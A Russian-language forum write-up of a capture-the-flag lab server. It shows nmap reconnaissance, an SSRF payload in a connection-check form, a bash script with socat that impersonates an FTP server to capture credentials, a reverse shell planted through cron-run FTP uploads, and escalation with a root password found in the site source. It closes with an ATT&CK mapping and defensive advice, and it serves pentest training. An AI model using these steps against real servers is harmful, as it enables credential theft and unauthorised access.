Writeup Виртуальный сервер

r0dd9

Green Team
14.08.2019
25
17
Специализация
  1. Пентест
Прямая ссылка на задание

1. recon nmap
2. banner grabing nmap
3. searchsploit
4. SSRF + FTP
5. Эскалация через su


🔐 Цель

Сервер 192.168.2.213:

Админ пишет:
Недавно я арендовал VDS. Буду использовать её для различных пентест проектов, пока что я её не полностью подготовил, однако уже настроил SSH и FTP с хранилищем утилит, которые я использую время от времени

🔍 Разведка цели

Bash:
nmap -sS 192.168.2.213

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

banner grabiing:

Bash:
nmap -sV -p 21,22,80 192.168.2.213

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.9 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Unix))

cript scan для найденных портов

Bash:
nmap -sC -p 21,22,80 192.168.2.213     

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
| ssh-hostkey:
|   256 d7:78:34:f0:0a:01:9f:fd:f3:f0:32:61:77:1e:53:c8 (ECDSA)
|_  256 39:55:2e:f4:65:ed:9b:72:30:de:08:bd:c1:50:56:98 (ED25519)
80/tcp open  http
| http-title: \xD0\x92\xD1\x85\xD0\xBE\xD0\xB4 \xD0\xB2 \xD0\xBF\xD0\xB0\xD0\xBD\xD0\xB5\xD0\xBB\xD1\x8C \xD1\x83\xD0\xBF\xD1\x80\xD0\xB0\xD0\xB2\xD0\xBB\xD0\xB5\xD0\xBD\xD0\xB8\xD1\x8F
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

Из полезного httponly flag not set возможна XSS-атака через куки

searchsploit no results под эти баннеры

Ищем другой вектор
На сайте заходим в админку ручным брутом логин пасс

screen — 2026-06-10 в 15.16.08.webp

В учетке админа можно проверить соединение

screen — 2026-06-10 в 15.16.39.webp

Перехватим этот запрос в burp и отправим в repeater

screen — 2026-06-10 в 16.12.49.webp

В параметрах можно попробовать изменить host и protocol

Bash:
host=127.0.0.1&protocol=ssh&check_connection=

🎯 Выбираем вектор атаки

🧩 Этап 1: SSRF + FTP

Имитируем FTP-сервер и перехватываем учётные данные

Зная версию ftp напишем скрипт который будет отвечать как сервер и скопирует логин пароль от ftp в файл

Bash:
gedit ftp_interactive.sh

Bash:
#!/bin/bash

echo "220 vsFTPd 3.0.5 ready."

read -r user_cmd

if [[ "$user_cmd" == USER* ]]; then
  user=$(echo "$user_cmd" | awk '{print $2}')
  echo "331 Please specify the password for $user."
 
  read -r pass_cmd
 
  if [[ "$pass_cmd" == PASS* ]]; then
    pass=$(echo "$pass_cmd" | awk '{print $2}')
    echo -e "Логин: $user Пароль: $pass\n" >> ftp_creds.log
    echo "530 Login incorrect."
  fi
fi

socat позволяет привязать TCP-порт к скрипту

Bash:
socat TCP-LISTEN:21,reuseaddr,fork EXEC:./ftp_interactive.sh
screen — 2026-06-10 в 16.31.15.webp


📁 Этап 2: Первичная разведка сервера

Входим на ftp.
На сервере у админа скрипты котрые время от времени выполняются(он сам проговорился об этом). Этим можно воспользоваться для reverse shell

screen — 2026-06-10 в 16.35.54.webp
Запустим слушатель nc
screen — 2026-06-10 в 16.51.37.webp
Подключимся к ftp через mc и загрузим свой скрипт

screen — 2026-06-10 в 16.51.11.webp

Когда он выполнится мы получим shell

У админа в /home/admin первая часть флага

screen — 2026-06-10 в 17.02.54.webp


🚀 Этап 3: Ищем вектор для эскалации

Находим исходники сайта и там пароль root в открытом виде

Bash:
/ $ cat /var/www/localhost/htdocs/index.php

screen — 2026-06-10 в 16.59.06.webp


🎯 Этап 4: Эскалация через su

Заходим под root

screen — 2026-06-10 в 17.15.20.webp

Находим вторую часть флага

screen — 2026-06-10 в 17.21.16.webp


💥 CTF решен!

🧠 Использованные уязвимости

#УязвимостьКраткое описаниеMITRE ATT&CK
🔴 1Banner Grabbing + SSRF + FTPЧерез SSRF-уязвимость в index.php (host=127.0.0.1&protocol=ftp) и имитацию FTP-сервера через socat получены учётные данные admin / admin.T1133 – External Remote Services
🔴 2SSH Banner + SSRF + SSHПопытка SSRF на protocol=ssh (не использовалась окончательно, но разведана уязвимость).T1190 – Exploit Public-Facing Application
🔴 3Пароли в открытом виде (Code Leak)Пароль root (и другие чувствительные данные) найдены в открытом виде в /var/www/localhost/htdocs/index.php.T1552.001 – Unsecured Credentials
🟠 4Крон-скрипты с возможностью загрузки кодаУ админа есть скрипты, которые автоматически выполняются (cron/systemd). Это использовалось для загрузки reverse shell через FTP.T1053.003 – Cron
🟠 5Слабые учётные данные (admin/admin)Админка сайта защищена слабым логином/паролем, подобранным ручным брутом.T1110.001 – Password Guessing

🛡 Рекомендации по защите

1. Использовать hash(), password_hash() для хранения
2. Требовать сложные пароли (zxcvbn + minLength=12) - Блокировка после 3-х неудач - Добавить 2FA
3. Не хранить скрипты в public/ или ~admin/ - Использовать systemd + ReadOnlyDirectories= - Проверять права на файлы (chmod 700, chown root:root)
4. Защита баннера - Изменить баннер - Отключить баннер - Убрать OS-флаги - Фейковый баннер - Скрыть версию - Отказаться от FTP
5. Ограничить доступ к портам
6. Используй TLS
7. Мониторинг логов


✅ Инструменты: nmap, socat, nc, bash, searchsloit, curl
 
Последнее редактирование:
  • Огонь
Реакции: Сергей Попов
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab